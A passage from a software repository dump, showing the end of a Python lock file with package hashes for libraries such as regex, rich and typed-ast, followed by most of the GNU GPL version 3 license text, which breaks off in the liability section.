"sha256:f7d29a6fc4760300f86ae329e3b6ca28ea9c20823df123a2ea8693e967b29917"}, 595 | {file = "regex-2020.11.13-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:717881211f46de3ab130b58ec0908267961fadc06e44f974466d1887f865bd5b"}, 596 | {file = "regex-2020.11.13-cp39-cp39-manylinux2014_i686.whl", hash = "sha256:3128e30d83f2e70b0bed9b2a34e92707d0877e460b402faca908c6667092ada9"}, 597 | {file = "regex-2020.11.13-cp39-cp39-manylinux2014_x86_64.whl", hash = "sha256:8f6a2229e8ad946e36815f2a03386bb8353d4bde368fdf8ca5f0cb97264d3b5c"}, 598 | {file = "regex-2020.11.13-cp39-cp39-win32.whl", hash = "sha256:f8f295db00ef5f8bae530fc39af0b40486ca6068733fb860b42115052206466f"}, 599 | {file = "regex-2020.11.13-cp39-cp39-win_amd64.whl", hash = "sha256:a15f64ae3a027b64496a71ab1f722355e570c3fac5ba2801cafce846bf5af01d"}, 600 | {file = "regex-2020.11.13.tar.gz", hash = "sha256:83d6b356e116ca119db8e7c6fc2983289d87b27b3fac238cfe5dca529d884562"}, 601 | ] 602 | rfc3986 = [ 603 | {file = "rfc3986-1.4.0-py2.py3-none-any.whl", hash = "sha256:af9147e9aceda37c91a05f4deb128d4b4b49d6b199775fd2d2927768abdc8f50"}, 604 | {file = "rfc3986-1.4.0.tar.gz", hash = "sha256:112398da31a3344dc25dbf477d8df6cb34f9278a94fee2625d89e4514be8bb9d"}, 605 | ] 606 | rich = [ 607 | {file = "rich-9.4.0-py3-none-any.whl", hash = "sha256:dfc1d6a394f97674163b2b2c24d12e15f85752ce5451043c4d3ce77dad16a07d"}, 608 | {file = "rich-9.4.0.tar.gz", hash = "sha256:bde23a1761373fed2802502ff98292c5d735a5389ed96f4fe1be5fb4c2cde8ea"}, 609 | ] 610 | six = [ 611 | {file = "six-1.15.0-py2.py3-none-any.whl", hash = "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced"}, 612 | {file = "six-1.15.0.tar.gz", hash = "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"}, 613 | ] 614 | sniffio = [ 615 | {file = "sniffio-1.2.0-py3-none-any.whl", hash = "sha256:471b71698eac1c2112a40ce2752bb2f4a4814c22a54a3eed3676bc0f5ca9f663"}, 616 | {file = "sniffio-1.2.0.tar.gz", hash = "sha256:c4666eecec1d3f50960c6bdf61ab7bc350648da6c126e3cf6898d8cd4ddcd3de"}, 617 | ] 618 | toml = [ 619 | {file = "toml-0.10.2-py2.py3-none-any.whl", hash = "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b"}, 620 | {file = "toml-0.10.2.tar.gz", hash = "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"}, 621 | ] 622 | typed-ast = [ 623 | {file = "typed_ast-1.4.1-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:73d785a950fc82dd2a25897d525d003f6378d1cb23ab305578394694202a58c3"}, 624 | {file = "typed_ast-1.4.1-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:aaee9905aee35ba5905cfb3c62f3e83b3bec7b39413f0a7f19be4e547ea01ebb"}, 625 | {file = "typed_ast-1.4.1-cp35-cp35m-win32.whl", hash = "sha256:0c2c07682d61a629b68433afb159376e24e5b2fd4641d35424e462169c0a7919"}, 626 | {file = "typed_ast-1.4.1-cp35-cp35m-win_amd64.whl", hash = "sha256:4083861b0aa07990b619bd7ddc365eb7fa4b817e99cf5f8d9cf21a42780f6e01"}, 627 | {file = "typed_ast-1.4.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:269151951236b0f9a6f04015a9004084a5ab0d5f19b57de779f908621e7d8b75"}, 628 | {file = "typed_ast-1.4.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:24995c843eb0ad11a4527b026b4dde3da70e1f2d8806c99b7b4a7cf491612652"}, 629 | {file = "typed_ast-1.4.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:fe460b922ec15dd205595c9b5b99e2f056fd98ae8f9f56b888e7a17dc2b757e7"}, 630 | {file = "typed_ast-1.4.1-cp36-cp36m-win32.whl", hash = "sha256:4e3e5da80ccbebfff202a67bf900d081906c358ccc3d5e3c8aea42fdfdfd51c1"}, 631 | {file = "typed_ast-1.4.1-cp36-cp36m-win_amd64.whl", hash = "sha256:249862707802d40f7f29f6e1aad8d84b5aa9e44552d2cc17384b209f091276aa"}, 632 | {file = "typed_ast-1.4.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8ce678dbaf790dbdb3eba24056d5364fb45944f33553dd5869b7580cdbb83614"}, 633 | {file = "typed_ast-1.4.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:c9e348e02e4d2b4a8b2eedb48210430658df6951fa484e59de33ff773fbd4b41"}, 634 | {file = "typed_ast-1.4.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:bcd3b13b56ea479b3650b82cabd6b5343a625b0ced5429e4ccad28a8973f301b"}, 635 | {file = "typed_ast-1.4.1-cp37-cp37m-win32.whl", hash = "sha256:d5d33e9e7af3b34a40dc05f498939f0ebf187f07c385fd58d591c533ad8562fe"}, 636 | {file = "typed_ast-1.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:0666aa36131496aed8f7be0410ff974562ab7eeac11ef351def9ea6fa28f6355"}, 637 | {file = "typed_ast-1.4.1-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:d205b1b46085271b4e15f670058ce182bd1199e56b317bf2ec004b6a44f911f6"}, 638 | {file = "typed_ast-1.4.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:6daac9731f172c2a22ade6ed0c00197ee7cc1221aa84cfdf9c31defeb059a907"}, 639 | {file = "typed_ast-1.4.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:498b0f36cc7054c1fead3d7fc59d2150f4d5c6c56ba7fb150c013fbc683a8d2d"}, 640 | {file = "typed_ast-1.4.1-cp38-cp38-win32.whl", hash = "sha256:715ff2f2df46121071622063fc7543d9b1fd19ebfc4f5c8895af64a77a8c852c"}, 641 | {file = "typed_ast-1.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:fc0fea399acb12edbf8a628ba8d2312f583bdbdb3335635db062fa98cf71fca4"}, 642 | {file = "typed_ast-1.4.1-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:d43943ef777f9a1c42bf4e552ba23ac77a6351de620aa9acf64ad54933ad4d34"}, 643 | {file = "typed_ast-1.4.1.tar.gz", hash = "sha256:8c8aaad94455178e3187ab22c8b01a3837f8ee50e09cf31f1ba129eb293ec30b"}, 644 | ] 645 | typing-extensions = [ 646 | {file = "typing_extensions-3.7.4.3-py2-none-any.whl", hash = "sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f"}, 647 | {file = "typing_extensions-3.7.4.3-py3-none-any.whl", hash = "sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918"}, 648 | {file = "typing_extensions-3.7.4.3.tar.gz", hash = "sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c"}, 649 | ] 650 | wrapt = [ 651 | {file = "wrapt-1.12.1.tar.gz", hash = "sha256:b62ffa81fb85f4332a4f609cab4ac40709470da05643a082ec1eb88e6d9b97d7"}, 652 | ] 653 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW 